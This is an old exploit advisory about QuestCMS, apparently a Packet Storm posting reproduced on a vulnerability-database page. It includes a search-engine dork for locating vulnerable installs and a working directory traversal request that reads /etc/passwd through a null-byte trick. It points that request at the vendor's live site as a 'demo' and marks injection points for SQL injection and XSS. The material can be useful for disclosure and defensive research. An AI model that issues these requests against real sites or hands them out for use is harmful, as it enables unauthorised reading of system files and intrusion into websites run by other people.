Lucene search

questcms-sqlxsstraverse.txt

🗓️ 27 Oct 2008 00:00:00Reported by d3b4gType

packetstorm🔗 packetstormsecurity.com👁 15 Views

QuestCMS has multiple vulnerabilities including XSS, directory traversal, and SQL injection.

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

`--------------------------------------------------------------------------------  
  
Title : Questcms Multiple Remote Vulnerabilities [XSS/Directory Traversal/sql]  
  
--------------------------------------------------------------------------------  
#Author: d3b4g  
  
  
#contact: bl4ckend[at]gmail[dot]com  
  
--------------------------------------------------------------------------------  
Affected software:  
--------------------------------------------------------------------------------  
Application : Questwork Web Content Management system (QuestCMS)  
URL : http://www.questwork.com  
  
--------------------------------------------------------------------------------  
  
dork : allinurl:"/questcms/"  
--------------------------------------------------------------------------------  
Directory traversal vulnibility  
=============================  
Exploit : questcms/main/main.php?lang=tc&page=1&theme=../../../../../../../../etc/passwd%00.html  
  
Live demo : http://www.questwork.com/questcms/main/main.php?lang=tc&page=1&theme=../../../../../../../../etc/passwd%00.html  
  
  
---------------------------------------------------------------------------------  
  
sql injection:  
==============  
Vuln file:questcms/main/main.php?obj=[sql]  
  
  
XSS:  
====  
exploit:/main/main.php?cx=[Xss]  
--------------------------------------------------------------------------------  
  
  
  
--------------------------------------------------------------------------------  
  
greetz:  
  
All my friends,milw0rm...  
  
--------------------------------------------------------------------------------  
  
  
  
--------------------------------- [ www.hotlism.org ] --------------------------------------  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

27 Oct 2008 00:00Current

7.4High risk

Vulners AI Score7.4